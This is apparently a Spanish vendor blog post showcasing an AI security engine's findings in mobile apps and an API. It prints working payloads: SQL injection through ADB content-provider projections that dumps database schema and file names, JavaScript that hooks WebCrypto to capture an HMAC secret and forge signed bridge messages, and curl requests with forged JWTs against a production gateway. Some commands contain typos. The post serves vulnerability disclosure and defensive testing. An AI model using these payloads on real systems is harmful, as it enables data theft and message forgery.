Ir más allá: el motor de IA de Ostorlab descubre clases de vulnerabilidades desconocidas
El motor de IA de Ostorlab, basado en el razonamiento, supera los límites de las reglas y detecta vulnerabilidades desconocidas y difíciles de encontrar, como evasiones de Safe Browsing en WebView, inyecciones SQL mediante proyecciones, exfiltración de claves con WebCrypto y fallos en el orden de verificación de JWT, y ofrece una cobertura de seguridad más profunda, más inteligente y complementaria.
El escaneo automatizado de vulnerabilidades se basa, en esencia, en reglas. Esas reglas tienen dos límites inevitables:
- Solo detectan lo que ya conocemos.
- Como las reglas son costosas de construir y mantener, se da prioridad a los problemas de mayor riesgo y más probables.
Eso deja fuera de la cobertura habitual lo desconocido y los casos límite puntuales, como una peculiaridad de un lenguaje a medida que aún puede conducir a una RCE.
Las pruebas con IA y razonamiento rompen ese molde. Pueden formular hipótesis, adaptarse al contexto y sondear de formas que ninguna regla estática ha codificado jamás.
Dicho esto, todavía no son un reemplazo completo. En términos de costo-beneficio, un motor de reglas bien ajustado sigue ejecutando las comprobaciones conocidas de forma mucho más rápida y económica.
¡Basta de teoría, pasemos a la práctica!
Los ejemplos que siguen muestran cómo el motor de IA de Ostorlab descubre vulnerabilidades genuinamente nuevas, que no sabíamos que fueran posibles, junto con problemas marginales y difíciles de detectar que la automatización actual pasa por alto de forma habitual.
Caso práctico 1: evasión de Safe Browsing en WebView
Durante la evaluación de una aplicación móvil, el motor de IA encontró una implementación estándar de WebView que, en principio, parecía segura. La aplicación cargaba contenido remoto con configuraciones de seguridad estándar, pero el enfoque sistemático de la IA reveló un descuido interesante.
WebView webView = findViewById(R.id.webview);
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setDomStorageEnabled(true);
webView.loadUrl(url);
La IA comenzó analizando la configuración de WebView frente a la documentación de seguridad de Android. Mientras que la mayoría de las guías de seguridad se centran en configuraciones incorrectas evidentes, como habilitar el acceso a archivos o las interfaces de JavaScript, la IA identificó que Safe Browsing, la protección de Google contra malware y phishing, no estaba habilitado ni verificado de forma explícita.
La IA probó de forma sistemática el comportamiento de WebView frente a diversos escenarios de amenaza:
- Prueba de detección de malware: carga de dominios que alojan malware conocido
- Prueba de detección de phishing: creación de páginas de phishing convincentes
- Análisis de contenido mixto: pruebas de contenido HTTP dentro de contextos HTTPS
- Validación de certificados: examen del tratamiento de los certificados SSL/TLS
Hallazgo crítico:
// AI-generated test payload
Adb shell am start -a android.inetnt.action.VIEW -n xxx/.ArticleViewerActivity –es url “https://testsafebrowsing.appspot.com/s/phishing.html”
// This resolved to a known malicious IP without triggering Safe Browsing warnings
La IA descubrió que, aunque Safe Browsing está habilitado de forma predeterminada en Android 8.0+, la aplicación nunca verificaba que esa protección estuviera activa, y que en versiones anteriores de Android o en ROM modificadas esa protección podría estar deshabilitada o ser eludida.
En este caso, la ausencia de la comprobación de Safe Browsing aumenta el riesgo de phishing, ya que la aplicación carece de una lista de permitidos.
La IA demostró que un atacante podría:
- Eludir la protección de Safe Browsing en configuraciones de dispositivo vulnerables
- Servir contenido malicioso que a los usuarios les parezca legítimo
- Explotar las relaciones de confianza entre la aplicación y el contenido remoto
Corrección generada por la IA:
WebView webView = findViewById(R.id.webview);
WebSettings webSettings = webView.getSettings();
// Explicitly enable and verify Safe Browsing
webSettings.setSafeBrowsingEnabled(true);
webView.setSafeBrowsingWhitelist(Arrays.asList("trusted-domain.com"), null);
webView.setWebViewClient(new WebViewClient() {
@Override
public void onSafeBrowsingHit(WebView view, WebResourceRequest request,
int threatType, SafeBrowsingResponse callback) {
// AI identified this callback as critical for proper threat handling
if (threatType == SAFE_BROWSING_THREAT_MALWARE ||
threatType == SAFE_BROWSING_THREAT_PHISHING) {
callback.backToSafety(true);
Log.w("Security", "Blocked malicious URL: " + request.getUrl());
}
}
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
// AI-generated additional validation
String url = request.getUrl().toString();
if (isKnownMaliciousDomain(url) || containsSuspiciousPatterns(url)) {
Log.w("Security", "Blocked suspicious URL: " + url);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
});
El conocimiento sobre Safe Browsing es específico de Android y, a menos que un pentester se haya enfrentado a este aspecto o haya trabajado con él, no es habitual cubrir este tipo de vulnerabilidades en la evaluación.
Caso práctico 2: inyección SQL en proyecciones de consultas
El segundo descubrimiento fue una inyección SQL mediante proyecciones de consultas en SQLite.
La vulnerabilidad residía en el FileContentProvider de la aplicación, que estaba exportado sin restricciones de permisos, por lo que era accesible para cualquier aplicación del dispositivo.
Lo que hizo notable este descubrimiento fue la capacidad del motor para reconocer que es posible una inyección SQL dentro de una proyección de consulta. Se trata de un vector de ataque que no se había documentado previamente como susceptible de inyección SQL.
El motor demostró una búsqueda metódica de vulnerabilidades: primero realizó un análisis estático del APK para enumerar todos los ContentProviders, sus authorities y sus configuraciones de permisos.
A continuación identificó que el provider en content://[REDACTED].myblocnote.provider/ era accesible desde el exterior y carecía de una validación de entrada adecuada.
Después pasó a las pruebas dinámicas, utilizando comandos ADB manipulados para inyectar expresiones SQL a través del parámetro de proyección.
Probó de forma sistemática diversas técnicas de inyección SQL a través del parámetro de proyección, empezando por una simple evaluación de constantes (--projection "size:1") y escalando progresivamente hacia ataques complejos de enumeración del esquema.
El motor extrajo con éxito el esquema completo de la base de datos inyectando (SELECT group_concat(name) FROM sqlite_master), lo que reveló tablas como android_metadata, files, sqlite_sequence y otras que nunca deberían ser accesibles para aplicaciones externas.
Lo que distinguió este descubrimiento fue la capacidad del motor para sortear las limitaciones de la línea de comandos y demostrar técnicas de explotación del mundo real.
Utilizó con astucia comentarios SQL (/x/) y la función char() para eludir los problemas de tokenización del shell, lo que muestra un conocimiento práctico que va más allá de la mera identificación teórica de vulnerabilidades. Por ejemplo, para extraer la información de las columnas de la tabla files, el motor construyó la consulta:
--projection "size:(SELECT group_concat(name) FROM pragma_table_info(char(102,105,108,101,115)))"
Esto reveló la estructura interna de la base de datos (_id, name, path, size columns), lo que demuestra una divulgación completa del esquema. El motor demostró además su capacidad de exfiltración de datos al extraer nombres de archivo reales mediante subconsultas, truncando los resultados para evitar una salida abrumadora y demostrando aun así la severidad de la vulnerabilidad.
Cómo se confirmó (herramientas y evidencias)
- adb shell content query con entradas de proyección separadas por dos puntos; paréntesis escapados
para las llamadas a funciones o subconsultas; en ocasiones se usaron comentarios SQL
/x/ychar()para evitar problemas de tokenización y entrecomillado en la CLI. - Confirmaciones de ejemplo en /root:
- Evaluación de constantes:
- Comando:
adb shell content query --uri content://xxxxx.myblocnote.provider/root --projection "size:1" - Salida (recortada):
Row: 0 size=1024, 1=1
- Comando:
- Función integrada:
- Comando:
adb shell content query --projection "size:sqlite_version()" … - Salida:
Row: 0 size=1024, sqlite_version()=3.44.3
- Comando:
- Nombres del esquema mediante sqlite_master:
- Comando:
--projection "size:(SELECT/x/group_concat(name)FROM/x/sqlite_master)" - La salida incluye:
android_metadata,files,sqlite_sequence,capabilities,uploads,camera_ uploads_sync,user_quotas
- Comando:
- Columnas de files mediante pragma_table_info:
- Comando:
--projection "size:(SELECT/x/group_concat(name)FROM/x/pragma_table_info(char(102,105,108,101,115)))" - Salida:
_id,name,path,size
- Comando:
- DDL (CREATE TABLE files):
- Comando:
--projection "size:(SELECT/x/sql/x/FROM/x/sqlite_master/x/WHERE/x/name=char(102, 105,108,101,115)/x/AND/x/type=char(116,97,98,108,101)/x/LIMIT/x/1)" - Salida (recortada):
CREATE TABLE files (_id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, path TEXT NOT NULL, size INTEGER)
- Comando:
- Recuento entre tablas (capabilities):
- Comando:
--projection "size:(SELECT/x/count(*)FROM/x/capabilities)" - Salida (recortada):
…=0
- Comando:
- Muestra de datos reales (nombres de archivo truncados, limitados):
- Comando:
--projection "size:(SELECT/x/group_concat(substr(name,1,5),char(124))FROM/x/(SELECT/x/name/x/FROM/x/files/x/LIMIT/x/3))" - Salida:
…=Docum|Image|Music
- Comando:
- Confirmación basada en errores (función desconocida):
- Comando:
--projection "size:pwned()" - Error (recortado):
android.database.sqlite.SQLiteException: no such function: pwned … while compiling: SELECT size, pwned() FROM files
- Comando:
- Columna desconocida (sin lista de permitidos):
- Comando:
--projection "size:non_existent_col" - Error (recortado):
no such column: non_existent_col … while compiling: SELECT size, non_existent_col FROM files
- Comando:
- Evaluación de constantes:
- Confirmaciones en URI de elementos:
- /file/1:
--projection "size:1" -> Row includes “1=1”. - /directory/1:
--projection "size:sqlite_version()" -> sqlite_version()
columna devuelta.
- /file/1:
Caso práctico 3: hooking de WebCrypto para la exfiltración de secretos de sesión
Esta vulnerabilidad se encontró en una aplicación que había superado un pentest realizado por personas y que los evaluadores humanos pasaron por alto.
Se trata de una vulnerabilidad de momento de inyección en un provider basado en WebView. El provider se inyecta al final del documento, lo que permite que los scripts de la página se ejecuten primero y enganchen WebCrypto. El provider utiliza window.crypto.subtle para importar y usar el secreto HMAC en la firma. Las funciones enganchadas pueden leer el material de la clave y exfiltrarlo, lo que permite a cualquier script falsificar mensajes firmados que el puente nativo aceptará como auténticos.
Según el motor: esta clase de vulnerabilidad es común cuando se inyectan scripts sensibles para la seguridad de forma tardía en páginas hostiles.
Metodología del ataque
- El atacante se asegura de que JavaScript se ejecute antes de la inyección del provider (trivial para cualquier página).
- Engancha crypto.subtle.importKey/sign para observar el material de la clave cuando el provider se inicializa.
- Extrae el secreto por sesión (la clave en bruto) y calcula HMAC válidos para solicitudes arbitrarias.
- Envía mensajes manipulados mediante window.ReactNativeWebView.postMessage con firmas válidas.
A) Enganchar SubtleCrypto para exfiltrar la clave HMAC al recargar
// Run BEFORE provider injection (e.g., in-page script, or paste then reload)
const origImportKey = crypto.subtle.importKey;
crypto.subtle.importKey = async function(fmt, keyData, alg, extractable, usages) {
if (fmt === 'raw' && alg && (alg.name || alg) === 'HMAC') {
const u8 = new Uint8Array(keyData);
const hex = Array.from(u8).map(x => x.toString(16).padStart(2,'0')).join('');
console.log('Captured HMAC secret (hex):', hex);
}
return origImportKey.apply(this, arguments);
};
// Reload the page; when the provider initializes at document-end, the secret is logged.
Resultado observado: la consola del navegador imprime en hexadecimal el secreto por sesión.
B) Falsificar un rpc_request firmado con el secreto capturado
// Using the secret captured above, compute a valid signature and post directly
async function sign(secretHex, obj) {
const key = await crypto.subtle.importKey('raw', new Uint8Array(objHex(secretHex)), { name:'HMAC', hash:'SHA-256' }, false, ['sign']);
const data = new TextEncoder().encode(JSON.stringify(obj));
const sig = await crypto.subtle.sign('HMAC', key, data);
return Array.from(new Uint8Array(sig)).map(x => x.toString(16).padStart(2,'0')).join('');
}
function objHex(h) { return h.match(/../g).map(b => parseInt(b,16)); }
(async () => {
const unsigned = { id: 'attacker-1', method: 'rpc_request', context: { network: 'evm', method: 'eth_chainId', params: [] } };
const signature = await sign('<PASTE_SECRET_HEX_HERE>', unsigned);
const msg = { ...unsigned, signature };
window.ReactNativeWebView.postMessage(JSON.stringify(msg));
})();
Caso práctico 4: omisión de la verificación de firma de JWT
Este es otro ejemplo interesante de un error difícil de descubrir. A continuación se muestra la salida del motor y cómo confirmó el problema:
Las evidencias muestran que el servicio evalúa las claims de JWT antes de verificar las firmas.
Los tokens con firmas no válidas o de un atacante, y los que tienen firmas deliberadamente corrompidas, producen errores relacionados con el emisor en lugar de fallos de firma en todos los endpoints protegidos. Esto confirma una omisión de la verificación de firma o un orden incorrecto en la cadena de validación de JWT.
- Host afectado: https://gateway.[REDACTED]-prod.com (HTTP/2 vía CloudFront → Kestrel)
- Confirmado en los endpoints: GET /api/consumer/user/kyc, GET /api/consumer/accounts/USD (de un conjunto de datos anterior), y comportamiento contrastado en GET /api/consumer/features (público/sin autenticar)
- Algoritmos: RS256 y HS256 afectados; alg=none rechazado (se exige la presencia de firma, pero no se valida)
Reproducción y evidencia en bruto
Control A: sin token (referencia)
curl -i --http2 --compressed \
-H 'accept: application/json' \
-H 'user-agent: okhttp/4.12.0' \
-H 'mobile-app-type: [REDACTED]' \
-H 'mobile-app-platform: ANDROID' \
-H 'mobile-app-version: 11.5' \
-H 'accept-encoding: gzip' \
'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'
Fragmento de la respuesta:
HTTP/2 401
www-authenticate: Bearer error="invalid_token"
content-length: 0
Control B: el token con alg=none (sin firma) se rechaza (lo esperado)
curl -i --http2 --compressed \
-H 'accept: application/json' \
-H 'user-agent: okhttp/4.12.0' \
-H 'mobile-app-type: [REDACTED]' \
-H 'mobile-app-platform: ANDROID' \
-H 'mobile-app-version: 11.5' \
-H 'accept-encoding: gzip' \
-H 'Authorization: Bearer [REDACTED]' \
'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'
Fragmento de la respuesta:
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The signature is invalid"
content-length: 0
Interpretación: el servicio exige un campo de firma. Las pruebas siguientes muestran que no verifica la integridad de la firma en los tokens firmados.
Evidencia principal 1: token RS256 firmado con la clave de un atacante y con un JWK incluido en la cabecera → error de emisor en lugar de error de firma
Token (decodificado):
{
"header": {
"alg": "RS256",
"typ": "JWT",
"kid": "test-rsa-1",
"jwk": {"kty": "RSA", "n": "<attacker-n>", "e": "AQAB"}
},
"payload": {
"sub": "+50644440002",
"iss": "[REDACTED]",
"aud": "[REDACTED]-mobile",
"iat": 1759166743,
"nbf": 1759166743,
"exp": 1759167403
}
}
Solicitud:
curl -i --http2 --compressed \
-H 'accept: application/json' -H 'user-agent: okhttp/4.12.0' \
-H 'mobile-app-type: [REDACTED]' -H 'mobile-app-platform: ANDROID' \
-H 'mobile-app-version: 11.5' -H 'accept-encoding: gzip' \
-H 'Authorization: Bearer <attacker-RS256-token-with-jwk-header>' \
'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'
Fragmento de la respuesta:
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer '[REDACTED]' is invalid"
content-length: 0
Interpretación: el servidor avanzó hasta la validación del emisor en lugar de rechazar el token por una clave desconocida o no confiable, o por una firma incorrecta.
Evidencia principal 2: token RS256 sin cabecera jwk, firmado por el atacante → el error de emisor persiste
Authorization: Bearer [REDACTED]
Fragmento de la respuesta:
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"
Interpretación: sigue sin haber rechazo de la firma; la validación de las claims continúa.
Evidencia principal 3: token RS256 con la firma deliberadamente corrompida → el error de emisor persiste en todos los endpoints protegidos
Token manipulado (solo se alteró el tercer segmento; cabecera + carga útil sin cambios):
[REDACTED]
Respuestas observadas:
- GET /api/consumer/accounts/USD →
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"
- GET /api/consumer/user/kyc →
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"
Interpretación: a pesar de que la firma está rota, las comprobaciones de las claims (emisor) se ejecutan primero.
Evidencia principal 4: token HS256 con un secreto arbitrario → error de emisor en lugar de error de firma o de algoritmo
[REDACTED]
Fragmento de la respuesta:
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"
Interpretación: se ignora la discrepancia de algoritmo o de clave; las comprobaciones de las claims continúan.
Sonda corroborante: un token RS256 con la firma corrompida en un endpoint autenticado devuelve un error de emisor.
Solicitud (una vez):
curl --http2 -s -i -X GET "https://gateway.[REDACTED]-prod.com/api/consumer/user/kyc" \
-H "accept: application/json" \
-H "user-agent: okhttp/4.12.0" \
-H "accept-encoding: gzip" \
-H "authorization: Bearer [REDACTED]" \
--compressed
Respuesta (cabeceras literales):
HTTP/2 401
content-length: 0
date: Mon, 29 Sep 2025 18:30:50 GMT
server: Kestrel
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'https://attacker.invalid/issuer' is invalid"
Interpretación: el endpoint autentica las solicitudes, pero evalúa la claim de emisor de un token no verificado.
Prueba de secuenciación de claims: se alinea únicamente iss, con la firma aún corrompida → el emisor sigue siendo no válido (orden confirmado)
curl --http2 -s -i -X GET "https://gateway.[REDACTED]-prod.com/api/consumer/user/kyc" \
-H "accept: application/json" \
-H "user-agent: okhttp/4.12.0" \
-H "accept-encoding: gzip" \
-H "authorization: Bearer [REDACTED]" \
--compressed
Respuesta:
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'https://gateway.[REDACTED]-prod.com' is invalid"
Interpretación: las comprobaciones de las claims siguen ejecutándose (todavía el emisor), aunque la firma está corrompida. El orden está mal configurado.
Conclusión
Los escáneres basados en reglas destacan por su velocidad y su cobertura de lo conocido, pero inevitablemente pasan por alto lo desconocido y lo puntual. Los casos presentados aquí hacen tangible esa brecha.
La IA basada en el razonamiento, como el motor de IA de Ostorlab, cierra esa brecha al formular hipótesis, adaptar los sondeos en tiempo real y sacar a la luz vulnerabilidades que ninguna regla fija había anticipado. El resultado es una estrategia complementaria que encuentra bugs distintos (y más).